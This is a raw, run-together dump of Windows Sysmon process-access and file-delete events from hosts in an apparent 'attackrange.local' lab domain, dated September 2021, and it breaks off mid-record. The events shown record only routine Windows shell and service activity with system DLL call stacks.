14:47:31.338{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.338{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000046352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44805180C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44805180C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0E-613B-8E06-00000000F001}48482952C:\Windows\system32\taskhostw.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\MSCTF.dll+af11|C:\Windows\System32\MSCTF.dll+b489|C:\Windows\System32\MSCTF.dll+be73|C:\Windows\System32\MSCTF.dll+3d812|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:31.322{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014408Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:32.991{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=725DE01903025B0329C0EA7CA9B93D09,SHA256=039455394DD426B1A108E761A7F48E2FD38A7ECB32C723AD58A2EFCEAC1E0ECE,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.963{7BD73061-6D0E-613B-8B06-00000000F001}45002724C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+37dac|C:\Windows\System32\modernexecserver.dll+37d4f|C:\Windows\System32\modernexecserver.dll+375a6|C:\Windows\System32\modernexecserver.dll+1a1c4|C:\Windows\System32\modernexecserver.dll+3191d|C:\Windows\System32\modernexecserver.dll+32871|C:\Windows\System32\modernexecserver.dll+3278f|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000046416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.900{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000046415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.900{7BD73061-65BF-613B-2B00-00000000F001}29643820C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000046414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.900{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.900{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000046412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.900{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000046411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:32.807{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program 